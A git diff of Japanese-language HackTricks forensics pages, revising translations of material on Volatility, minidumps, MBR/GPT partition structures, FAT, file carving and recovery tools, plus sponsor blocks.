-**Volatilityはメモリーダンプ解析のための主要なオープンソースフレームワーク**です。このPythonツールは、外部ソースまたはVMware VMからのダンプを分析し、ダンプのOSプロファイルに基づいてプロセスやパスワードなどのデータを識別します。プラグインで拡張可能であり、法医学調査に非常に適しています。 +**Volatilityはメモリーダンプ解析の主要なオープンソースフレームワーク**です。このPythonツールは、外部ソースまたはVMware VMからのダンプを分析し、ダンプのOSプロファイルに基づいてプロセスやパスワードなどのデータを識別します。プラグインで拡張可能であり、法医学調査に非常に適しています。 -**[こちらでチートシートを見つける](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** +[**こちらでチートシートを見つける**](volatility-cheatsheet.md) ## ミニダンプクラッシュレポート ダンプが小さい場合(数KB、おそらく数MB)、それはおそらくミニダンプクラッシュレポートであり、メモリーダンプではありません。 -![](<../../../.gitbook/assets/image (216).png>) +![](<../../../.gitbook/assets/image (532).png>) Visual Studioがインストールされている場合、このファイルを開いてプロセス名、アーキテクチャ、例外情報、実行されているモジュールなどの基本情報をバインドできます。 -![](<../../../.gitbook/assets/image (217).png>) +![](<../../../.gitbook/assets/image (263).png>) -例外をロードして、逆コンパイルされた命令を表示することもできます。 +例外をロードして、逆コンパイルされた命令を表示することもできます -![](<../../../.gitbook/assets/image (219).png>) +![](<../../../.gitbook/assets/image (142).png>) -![](<../../../.gitbook/assets/image (218) (1).png>) +![](<../../../.gitbook/assets/image (610).png>) -とにかく、Visual Studioはダンプの深い解析を行うのに最適なツールではありません。 +とにかく、Visual Studioはダンプの深い解析を行うための最適なツールではありません。 -**IDA**または**Radare**を使用して、ダンプを詳細に検査します。 +**IDA**または**Radare**を使用して、それを**詳細に**検査してください。 + +​ + +
+ +[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。 + +{% embed url="https://www.rootedcon.com/" %} + +
+ +htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ + +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを入手 +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 +* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** + +
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index ad2621a49..aa0996e2d 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,16 +1,16 @@ -# Partitions/File Systems/Carving +# パーティション/ファイルシステム/カービング
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦で@hacktricks\_live**をフォローする -* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する +* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する +* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください**
@@ -19,138 +19,135 @@ HackTricksをサポートする他の方法: ハードドライブまたは**SSDディスクには、物理的にデータを分離するための異なるパーティションが含まれて**いる可能性があります。\ ディスクの**最小**単位は**セクタ**です(通常、512Bで構成されています)。したがって、各パーティションのサイズはそのサイズの倍数である必要があります。 -### MBR(Master Boot Record) +### MBR(マスターブートレコード) -これは、**ブートコードの446Bの後のディスクの最初のセクタ**に割り当てられます。このセクタは、PCにパーティションをどこからマウントすべきかを示すために不可欠です。\ -最大で**4つのパーティション**(最大で**1つだけがアクティブ/ブート可能**)を許可します。ただし、より多くのパーティションが必要な場合は、**拡張パーティション**を使用できます。この最初のセクタの最後のバイトは、ブートレコードの署名**0x55AA**です。1つのパーティションだけがアクティブにマークされます。\ +これは、**ブートコードの446Bの後のディスクの最初のセクタに割り当てられて**います。このセクタは、PCにパーティションをどこからどのようにマウントすべきかを示すために不可欠です。\ +最大で**4つのパーティション**を許可します(**最大で1つ**がアクティブ/**ブート可能**)。ただし、より多くのパーティションが必要な場合は、**拡張パーティション**を使用できます。この最初のセクタの最後のバイトは、ブートレコードの署名**0x55AA**です。1つのパーティションだけがアクティブにマークされることができます。\ MBRは**最大2.2TB**を許可します。 -![](<../../../.gitbook/assets/image (489).png>) +![](<../../../.gitbook/assets/image (350).png>) -![](<../../../.gitbook/assets/image (490).png>) +![](<../../../.gitbook/assets/image (304).png>) -MBRの**バイト440から443**には、**Windowsディスクシグネチャ**(Windowsを使用している場合)が含まれています。ハードディスクの論理ドライブレターは、Windowsディスクシグネチャに依存します。この署名を変更すると、Windowsの起動が阻害される可能性があります(ツール:[**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。 +MBRの**バイト440から443**には、**Windowsディスクシグネチャ**(Windowsを使用している場合)が含まれています。ハードディスクの論理ドライブレターは、Windowsディスクシグネチャに依存します。このシグネチャを変更すると、Windowsの起動が阻害される可能性があります(ツール: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。 -![](<../../../.gitbook/assets/image (493).png>) +![](<../../../.gitbook/assets/image (310).png>) **フォーマット** -| オフセット | 長さ | アイテム | -| ----------- | ---------- | ------------ | -| 0 (0x00) | 446(0x1BE) | ブートコード | -| 446 (0x1BE) | 16 (0x10) | 第1パーティション | -| 462 (0x1CE) | 16 (0x10) | 第2パーティション | -| 478 (0x1DE) | 16 (0x10) | 第3パーティション | -| 494 (0x1EE) | 16 (0x10) | 第4パーティション | -| 510 (0x1FE) | 2 (0x2) | 署名 0x55 0xAA | +| オフセット | 長さ | アイテム | +| ----------- | ---------- | ------------------- | +| 0 (0x00) | 446(0x1BE) | ブートコード | +| 446 (0x1BE) | 16 (0x10) | 最初のパーティション | +| 462 (0x1CE) | 16 (0x10) | 2番目のパーティション | +| 478 (0x1DE) | 16 (0x10) | 3番目のパーティション | +| 494 (0x1EE) | 16 (0x10) | 4番目のパーティション | +| 510 (0x1FE) | 2 (0x2) | シグネチャ 0x55 0xAA | **パーティションレコードフォーマット** -| オフセット | 長さ | アイテム | -| --------- | -------- | ------------------------------ | -| 0 (0x00) | 1 (0x01) | アクティブフラグ(0x80 = ブート可能) | -| 1 (0x01) | 1 (0x01) | 開始ヘッド | +| オフセット | 長さ | アイテム | +| --------- | -------- | ------------------------------------------------------ | +| 0 (0x00) | 1 (0x01) | アクティブフラグ(0x80 = ブート可能) | +| 1 (0x01) | 1 (0x01) | 開始ヘッド | | 2 (0x02) | 1 (0x01) | 開始セクタ(ビット0-5);シリンダーの上位ビット(6-7) | -| 3 (0x03) | 1 (0x01) | 開始シリンダーの下位8ビット | -| 4 (0x04) | 1 (0x01) | パーティションタイプコード(0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | 終了ヘッド | -| 6 (0x06) | 1 (0x01) | 終了セクタ(ビット0-5);シリンダーの上位ビット(6-7) | -| 7 (0x07) | 1 (0x01) | 終了シリンダーの下位8ビット | -| 8 (0x08) | 4 (0x04) | パーティションの前のセクタ数(リトルエンディアン) | -| 12 (0x0C) | 4 (0x04) | パーティション内のセクタ数 | +| 3 (0x03) | 1 (0x01) | 開始シリンダーの下位8ビット | +| 4 (0x04) | 1 (0x01) | パーティションタイプコード(0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | 終了ヘッド | +| 6 (0x06) | 1 (0x01) | 終了セクタ(ビット0-5);シリンダーの上位ビット(6-7) | +| 7 (0x07) | 1 (0x01) | 終了シリンダーの下位8ビット | +| 8 (0x08) | 4 (0x04) | パーティションの前のセクタ数(リトルエンディアン) | +| 12 (0x0C) | 4 (0x04) | パーティション内のセクタ数 | LinuxでMBRをマウントするには、まず開始オフセットを取得する必要があります(`fdisk`と`p`コマンドを使用できます) -![](https://github.com/carlospolop/hacktricks/blob/jp/.gitbook/assets/image%20\(413\)%20\(3\)%20\(3\)%20\(3\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(12\).png) - -その後、次のコードを使用します。 +![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +その後、次のコードを使用します ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` +**LBA (Logical block addressing)** -**LBA(Logical block addressing)** +**Logical block addressing** (**LBA**)は、コンピュータの記憶装置に保存されているデータのブロックの場所を指定するために使用される一般的なスキームです。一般的にはハードディスクドライブなどの二次記憶システムで使用されます。LBAは特にシンプルな線形アドレッシングスキームで、**ブロックは整数インデックスによって特定され**、最初のブロックはLBA 0、2番目はLBA 1、というようになります。 -**Logical block addressing**(**LBA**)は、コンピュータの記憶装置に保存されているデータのブロックの場所を指定するために使用される一般的なスキームです。一般的にはハードディスクドライブなどの二次記憶システムで使用されます。LBAは特にシンプルな線形アドレッシングスキームで、**ブロックは整数インデックスによって特定され**、最初のブロックはLBA 0、2番目はLBA 1、というようになります。 +### GPT (GUID Partition Table) -### GPT(GUID Partition Table) - -GUID Partition Table、通称GPTは、MBR(Master Boot Record)と比較して拡張機能が優れているために好まれています。GPTの特徴は以下の通りです: +GUID Partition Table、通称GPTは、MBR(Master Boot Record)と比較して拡張機能が優れているために好まれています。パーティションのための**グローバルに一意な識別子**を持つGPTは、以下の点で優れています: * **位置とサイズ**:GPTとMBRはどちらも**セクタ0**から開始します。ただし、GPTは**64ビット**で動作し、MBRの32ビットとは異なります。 -* **パーティション制限**:GPTはWindowsシステムで最大**128個のパーティション**をサポートし、**9.4ZB**のデータを収容できます。 +* **パーティションの制限**:GPTはWindowsシステムで最大**128個のパーティション**をサポートし、**9.4ZB**のデータを収容できます。 * **パーティション名**:最大36文字のUnicode文字でパーティションに名前を付ける機能を提供します。 -**データの強靱性と回復**: +**データの強靱さと回復**: -* **冗長性**:MBRとは異なり、GPTはパーティショニングとブートデータを単一の場所に制限しません。これらのデータをディスク全体に複製することで、データの整合性と強靱性が向上します。 -* **巡回冗長性チェック(CRC)**:GPTはCRCを使用してデータの整合性を確保します。データの破損を積極的に監視し、検出された場合は別のディスク位置から破損したデータを回復しようとします。 +* **冗長性**:MBRとは異なり、GPTはパーティション分割とブートデータを単一の場所に制限しません。これにより、データの整合性と強靱性が向上します。 +* **巡回冗長性チェック(CRC)**:GPTはデータの整合性を確保するためにCRCを使用します。データの破損を積極的に監視し、検出された場合は別のディスク位置から破損したデータを回復しようとします。 **保護MBR(LBA0)**: -* GPTは保護MBRを介して後方互換性を維持します。この機能は従来のMBRベースのユーティリティが誤ってGPTディスクを上書きするのを防ぐように設計されており、それによりGPTフォーマットされたディスク上のデータの整合性を保護します。 +* GPTは保護MBRを介して後方互換性を維持します。この機能はレガシーMBRスペースに存在しますが、古いMBRベースのユーティリティが誤ってGPTディスクを上書きするのを防ぐよう設計されており、それによりGPTフォーマットされたディスク上のデータの整合性を保護します。 -![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>) +![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (1062).png>) **ハイブリッドMBR(LBA 0 + GPT)** [Wikipediaより](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) -BIOSサービスを介して**GPTベースのブート**をサポートするオペレーティングシステムでは、最初のセクタは**ブートローダー**コードの最初のステージを格納するために引き続き使用される場合がありますが、**GPTパーティション**を認識するように**変更**されます。 MBR内のブートローダーは、セクタサイズが512バイトであるとは想定してはいけません。 +EFIではなくBIOSサービスを介して**GPTベースのブート**をサポートするオペレーティングシステムでは、最初のセクタは**ブートローダー**コードの最初のステージを格納するために引き続き使用されるかもしれませんが、**GPTパーティション**を認識するように**変更**されます。 MBRのブートローダーは、セクタサイズが512バイトであるとは想定してはいけません。 **パーティションテーブルヘッダー(LBA 1)** [Wikipediaより](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) -パーティションテーブルヘッダーはディスク上の使用可能なブロックを定義します。また、パーティションテーブルを構成するパーティションエントリの数とサイズを定義します(テーブル内のオフセット80と84)。 +パーティションテーブルヘッダーはディスク上の使用可能なブロックを定義します。また、パーティションテーブルを構成するパーティションエントリの数とサイズも定義します(テーブル内のオフセット80および84)。 -| オフセット | 長さ | 内容 | -| --------- | ------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 バイト | シグネチャ(リトルエンディアンマシン上の "EFI PART"、45h 46h 49h 20h 50h 41h 52h 54h または 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)) | -| 8 (0x08) | 4 バイト | UEFI 2.8用のリビジョン1.0(00h 00h 01h 00h) | -| 12 (0x0C) | 4 バイト | ヘッダーサイズ(リトルエンディアンでのバイト単位、通常は5Ch 00h 00h 00h または 92バイト) | -| 16 (0x10) | 4 バイト | ヘッダーのCRC32(オフセット+0からヘッダーサイズまで)のリトルエンディアンで、計算中にこのフィールドはゼロになります。 | -| 20 (0x14) | 4 バイト | 予約済み;ゼロである必要があります | -| 24 (0x18) | 8 バイト | 現在のLBA(このヘッダーコピーの場所) | -| 32 (0x20) | 8 バイト | バックアップLBA(他のヘッダーコピーの場所) | -| 40 (0x28) | 8 バイト | パーティションの最初の使用可能なLBA(プライマリパーティションテーブルの最後のLBA + 1) | -| 48 (0x30) | 8 バイト | 最後の使用可能なLBA(セカンダリパーティションテーブルの最初のLBA − 1) | -| 56 (0x38) | 16 バイト | ミックスエンディアンのディスクGUID | -| 72 (0x48) | 8 バイト | パーティションエントリの配列の開始LBA(プライマリコピーでは常に2) | -| 80 (0x50) | 4 バイト | 配列内のパーティションエントリの数 | -| 84 (0x54) | 4 バイト | 単一のパーティションエントリのサイズ(通常は80hまたは128) | -| 88 (0x58) | 4 バイト | パーティションエントリ配列のCRC32(リトルエンディアン) | -| 92 (0x5C) | \* | 残りのブロックにはゼロである必要があります(セクタサイズが512バイトの場合は420バイトですが、より大きなセクタサイズの場合はそれ以上になる可能性があります) | +| オフセット | 長さ | 内容 | +| --------- | ---- | ----------------------------------------------------------------------------------------------------------- | +| 0 (0x00) | 8バイト | シグネチャ(リトルエンディアンマシン上の "EFI PART"、45h 46h 49h 20h 50h 41h 52h 54hまたは0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)) | +| 8 (0x08) | 4バイト | UEFI 2.8用のリビジョン1.0(00h 00h 01h 00h) | +| 12 (0x0C) | 4バイト | ヘッダーサイズ(リトルエンディアンでのバイト単位、通常は5Ch 00h 00h 00hまたは92バイト) | +| 16 (0x10) | 4バイト | ヘッダーのCRC32(オフセット+0からヘッダーサイズまで)のリトルエンディアンでの値。このフィールドは計算中にゼロになります。 | +| 20 (0x14) | 4バイト | 予約済み;ゼロでなければなりません | +| 24 (0x18) | 8バイト | 現在のLBA(このヘッダーコピーの場所) | +| 32 (0x20) | 8バイト | バックアップLBA(他のヘッダーコピーの場所) | +| 40 (0x28) | 8バイト | パーティションの最初の使用可能なLBA(プライマリパーティションテーブルの最後のLBA + 1) | +| 48 (0x30) | 8バイト | 最後の使用可能なLBA(セカンダリパーティションテーブルの最初のLBA − 1) | +| 56 (0x38) | 16バイト | ミックスエンディアンのディスクGUID | +| 72 (0x48) | 8バイト | パーティションエントリの配列の開始LBA(プライマリコピーでは常に2) | +| 80 (0x50) | 4バイト | 配列内のパーティションエントリの数 | +| 84 (0x54) | 4バイト | 単一のパーティションエントリのサイズ(通常は80hまたは128) | +| 88 (0x58) | 4バイト | パーティションエントリ配列のCRC32(リトルエンディアン) | +| 92 (0x5C) | \* | 残りのブロック用にゼロでなければならない予約領域(セクタサイズが512バイトの場合は420バイトですが、より大きなセクタサイズの場合はそれ以上になる可能性があります) | **パーティションエントリ(LBA 2–33)** -| GUIDパーティションエントリ形式 | | | -| ----------------- | ------ | --------------------------------------------------------------------------------------------------------- | -| オフセット | 長さ | 内容 | -| 0 (0x00) | 16 バイト | [パーティションタイプGUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs)(ミックスエンディアン) | -| 16 (0x10) | 16 バイト | ユニークなパーティションGUID(ミックスエンディアン) | -| 32 (0x20) | 8 バイト | 最初のLBA([リトルエンディアン](https://en.wikipedia.org/wiki/Little\_endian)) | -| 40 (0x28) | 8 バイト | 最後のLBA(包括的、通常は奇数) | -| 48 (0x30) | 8 バイト | 属性フラグ(例:ビット60は読み取り専用を示す) | -| 56 (0x38) | 72 バイト | パーティション名(36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LEコードユニット) | +| GUIDパーティションエントリフォーマット | | | +| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- | +| オフセット | 長さ | 内容 | +| 0 (0x00) | 16バイト | [パーティションタイプGUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs)(ミックスエンディアン) | +| 16 (0x10) | 16バイト | ユニークなパーティションGUID(ミックスエンディアン) | +| 32 (0x20) | 8バイト | 最初のLBA([リトルエンディアン](https://en.wikipedia.org/wiki/Little\_endian)) | +| 40 (0x28) | 8バイト | 最後のLBA(包括的、通常は奇数) | +| 48 (0x30) | 8バイト | 属性フラグ(例:ビット60は読み取り専用を示す) | +| 56 (0x38) | 72バイト | パーティション名(36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LEコードユニット) | **パーティションタイプ** -![](<../../../.gitbook/assets/image (492).png>) +![](<../../../.gitbook/assets/image (83).png>) -詳細なパーティションタイプは[https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)で確認できます。 +[https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)にさらに多くのパーティションタイプがあります ### 検査 [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)を使用してフォレンジックイメージをマウントした後、Windowsツール[**Active Disk Editor**](https://www.disk-editor.org/index.html)**を使用して最初のセクタを検査できます**。次の画像では、**セクタ0**に**MBR**が検出され、解釈されています: -![](<../../../.gitbook/assets/image (494).png>) +![](<../../../.gitbook/assets/image (354).png>) もし**MBRの代わりにGPTテーブル**があれば、**セクタ1**に署名 _EFI PART_ が表示されるはずです(前の画像では空白です)。 - ## ファイルシステム ### Windowsファイルシステムリスト @@ -163,15 +160,15 @@ BIOSサービスを介して**GPTベースのブート**をサポートするオ ### FAT -**FAT(File Allocation Table)ファイルシステムは、その中核部品であるファイル割り当てテーブルを中心に設計されており、ボリュームの先頭に配置されています。このシステムは、テーブルの2つのコピー**を維持することでデータを保護し、1つが破損してもデータの整合性を確保します。テーブルとルートフォルダは、システムの起動プロセスにとって重要な**固定された場所**にある必要があります。 +**FAT(File Allocation Table)**ファイルシステムは、その中核部品であるファイル割り当てテーブルを中心に設計されています。このシステムは、テーブルの**2つのコピー**を維持することでデータの保護を行い、1つが破損してもデータの整合性を確保します。テーブルはルートフォルダとともに**固定された場所**になければならず、システムの起動プロセスには重要です。 ファイルシステムの基本的な記憶単位は、通常512Bの**クラスタ**で、複数のセクタから構成されています。FATは次のバージョンを経て進化してきました: * **FAT12**は、12ビットのクラスタアドレスをサポートし、最大4078クラスタ(UNIXを含めると4084クラスタ)を処理します。 -* **FAT16**は、16ビットのアドレスに拡張され、最大65,517クラスタを収容します。 -* **FAT32**は、32ビットのアドレスをさらに進化させ、1つのボリュームあたり最大268,435,456クラスタを可能にします。 +* **FAT16**は、16ビットのアドレスをサポートし、最大65,517クラスタを収容します。 +* **FAT32**は、32ビットのアドレスをさらに進化させ、1つのボリュームあたり268,435,456クラスタを可能にします。 -FATバージョン全般にわたる重要な制限事項は、ファイルサイズの格納に使用される32ビットフィールドによる**4GBの最大ファイルサイズ**です。 +FATバージョン全体での重要な制限事項は、ファイルサイズの格納に使用される32ビットフィールドによって課せられる**4GBの最大ファイルサイズ**です。 特にFAT12およびFAT16のルートディレクトリの主要なコンポーネントには、次のものが含まれます: @@ -187,22 +184,22 @@ FATバージョン全般にわたる重要な制限事項は、ファイルサ ## **メタデータ** -一部のファイルにはメタデータが含まれています。この情報はファイルの内容についてのもので、ファイルタイプによっては興味深い情報が含まれることがあります: +一部のファイルにはメタデータが含まれています。この情報はファイルの内容についてであり、ファイルタイプによっては興味深い情報が含まれることがあります: * タイトル * 使用されたMS Officeバージョン -* 作成および最終変更日時 +* 作成および最終変更日 * カメラのモデル * GPS座標 * 画像情報 -ファイルのメタデータを取得するために[**exiftool**](https://exiftool.org)や[**Metadiver**](https://www.easymetadata.com/metadiver-2/)などのツールを使用できます。 +[**exiftool**](https://exiftool.org)や[**Metadiver**](https://www.easymetadata.com/metadiver-2/)などのツールを使用してファイルのメタデータを取得できます。 ## **削除されたファイルの回復** ### ログされた削除されたファイル -以前に見られたように、ファイルが「削除」された後もファイルが保存されている場所がいくつかあります。通常、ファイルシステムからファイルを削除すると、ファイルは削除されたとマークされますが、データは触れられません。その後、ファイルの登録(MFTなど)を調査し、削除されたファイルを見つけることが可能です。 +以前に見られたように、ファイルが「削除」された後もファイルが保存されている場所がいくつかあります。これは通常、ファイルシステムからファイルを削除すると、ファイルは削除されたとマークされますが、データは触れられません。その後、ファイルの登録(MFTなど)を調査し、削除されたファイルを見つけることが可能です。 また、OSは通常、ファイルシステムの変更やバックアップに関する多くの情報を保存するため、ファイルを回復したり可能な限り多くの情報を取得するためにそれらを使用することができます。 @@ -214,7 +211,7 @@ FATバージョン全般にわたる重要な制限事項は、ファイルサ **ファイルカービング**は、データの塊からファイルを見つけようとする技術です。このようなツールが機能する主な方法には、**ファイルタイプのヘッダーとフッター**に基づく方法、ファイルタイプの**構造**に基づく方法、および**コンテンツ**自体に基づく方法があります。 -この技術は、**断片化されたファイルを取得することはできません**。ファイルが**連続したセクタに保存されていない**場合、この技術はそれを見つけることができないか、少なくともその一部を見つけることができません。 +この技術は**断片化されたファイルを取得することはできません**ので注意してください。ファイルが**連続したセクタに保存されていない**場合、この技術ではそれを見つけることができないか、少なくともその一部を見つけることができません。 ファイルカービングには、検索したいファイルタイプを示すために使用できるいくつかのツールがあります。 @@ -224,7 +221,7 @@ FATバージョン全般にわたる重要な制限事項は、ファイルサ ### データストリーム**カービング** -データストリームカービングは、ファイルカービングと似ていますが、**完全なファイルを探すのではなく、興味深い情報の断片を探します**。\ +データストリームカービングは、ファイルカービングと似ていますが、**完全なファイルを探すのではなく、興味深い断片**の情報を探します。\ たとえば、ログされたURLを含む完全なファイルを探すのではなく、この技術はURLを検索します。 {% content-ref url="file-data-carving-recovery-tools.md" %} @@ -233,8 +230,8 @@ FATバージョン全般にわたる重要な制限事項は、ファイルサ ### 安全な削除 -明らかに、ファイルを\*\*「安全に」削除し、それに関するログの一部を削除する方法**があります。たとえば、ファイルの内容を何度もジャンクデータで上書きし、その後、ファイルに関する**$MFT**および**$LOGFILE\*\*からのログを削除し、**ボリュームシャドウコピー**を削除することが可能です。\ -この操作を実行しても、ファイルの存在がまだログされている他の部分があるかもしれないことに注意してください。これは、フォレンジック専門家の仕事の一部です。 +明らかに、ファイルを**「安全に」削除し、それに関するログの一部を削除**する方法があります。たとえば、ファイルの内容を何度もジャンクデータで上書きし、その後、ファイルに関する**$MFT**および**$LOGFILE**からのログを削除し、**ボリュームシャドウコピーを削除**することが可能です。\ +そのアクションを実行しても、ファイルの存在がまだログされている部分が他にあるかもしれないことに注意してください。これはフォレンジック専門家の仕事の一部です。 ## 参考文献 diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index ef6d8c08c..c8d1542ba 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -4,19 +4,19 @@ htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する -- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する +* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に **参加** または **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) を **フォロー** してください。 +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出してください。 **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -24,15 +24,15 @@ HackTricksをサポートする他の方法: ## 彫刻と回復ツール -[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にさらに多くのツールがあります +[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にさらに多くのツールがあります。 ### Autopsy -フォレンジックで最も一般的に使用されるファイルをイメージから抽出するためのツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルはサポートしていません。 +画像からファイルを抽出するために最も一般的に使用されるツールは [**Autopsy**](https://www.autopsy.com/download/) です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけるようにします。Autopsy はディスクイメージや他の種類のイメージをサポートするように構築されていますが、単純なファイルはサポートしていません。 ### Binwalk 